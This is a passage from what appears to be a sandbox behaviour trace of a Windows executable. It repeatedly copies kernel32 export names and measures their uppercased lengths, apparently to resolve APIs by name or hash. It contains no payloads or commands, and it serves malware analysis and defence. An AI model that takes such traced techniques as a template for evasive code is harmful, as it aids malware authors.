(lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0083.733] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0083.733] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0083.733] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0083.733] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0083.734] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0083.734] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0083.734] lstrlenA (lpString="CANCELIO") returned 8 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0083.734] lstrlenA (lpString="CANCELIOEX") returned 10 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0083.734] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0083.734] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0083.734] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0083.734] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0083.734] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0083.734] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0083.735] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0083.735] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0083.735] lstrlenA (lpString="CHECKELEVATION") returned 14 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0083.735] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0083.735] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0083.735] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0083.735] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0083.735] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0083.735] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0083.735] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0083.735] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0083.735] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0083.735] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0083.735] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0083.735] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0083.736] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0083.736] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0083.736] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0083.736] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0083.736] lstrlenA (lpString="CLOSESTATE") returned 10 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0083.736] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0083.736] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0083.736] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0083.736] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0083.736] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0083.736] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0083.736] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0083.736] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0083.736] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0083.736] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0083.736] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0083.737] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0083.737] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0083.737] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0083.737] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0083.737] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0083.737] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0083.737] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0083.737] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0083.738] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0083.738] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0083.738] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0083.738] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0083.738] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0083.738] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0083.738] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0083.739] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0083.739] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0083.739] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0083.739] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0083.739] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0083.739] lstrlenA (lpString="COPYCONTEXT") returned 11 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0083.739] lstrlenA (lpString="COPYFILE2") returned 9 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0083.739] lstrlenA (lpString="COPYFILEA") returned 9 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0083.739] lstrlenA (lpString="COPYFILEEXA") returned 11 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0083.739] lstrlenA (lpString="COPYFILEEXW") returned 11 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0083.739] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0083.739] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0083.739] lstrlenA (lpString="COPYFILEW") returned 9 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0083.739] lstrlenA (lpString="COPYLZFILE") returned 10 [0083.739] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0083.739] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0083.740] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0083.740] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0083.740] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0083.740] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0083.740] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0083.740] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0083.740] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0083.740] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0083.740] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0083.740] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0083.740] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0083.740] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0083.740] lstrlenA (lpString="CREATEEVENTA") returned 12 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0083.740] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0083.740] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0083.741] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0083.741] lstrlenA (lpString="CREATEEVENTW") returned 12 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0083.741] lstrlenA (lpString="CREATEFIBER") returned 11 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0083.741] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0083.741] lstrlenA (lpString="CREATEFILE2") returned 11 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0083.741] lstrlenA (lpString="CREATEFILEA") returned 11 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0083.741] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0083.741] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0083.741] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0083.741] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0083.741] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0083.741] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0083.741] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0083.741] lstrlenA (lpString="CREATEFILEW") returned 11 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0083.741] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0083.741] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0083.742] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0083.742] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0083.742] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0083.742] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0083.742] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0083.742] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0083.742] lstrlenA (lpString="CREATEJOBSET") returned 12 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0083.742] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0083.742] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0083.742] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0083.742] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0083.742] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0083.742] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0083.742] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0083.742] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0083.742] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0083.742] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0083.743] lstrlenA (lpString="CREATEPIPE") returned 10 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0083.743] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0083.743] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0083.743] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0083.743] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0083.743] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0083.743] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0083.743] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0083.743] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0083.743] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0083.743] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0083.743] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0083.743] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0083.743] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0083.743] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0083.744] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0083.744] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0083.744] lstrlenA 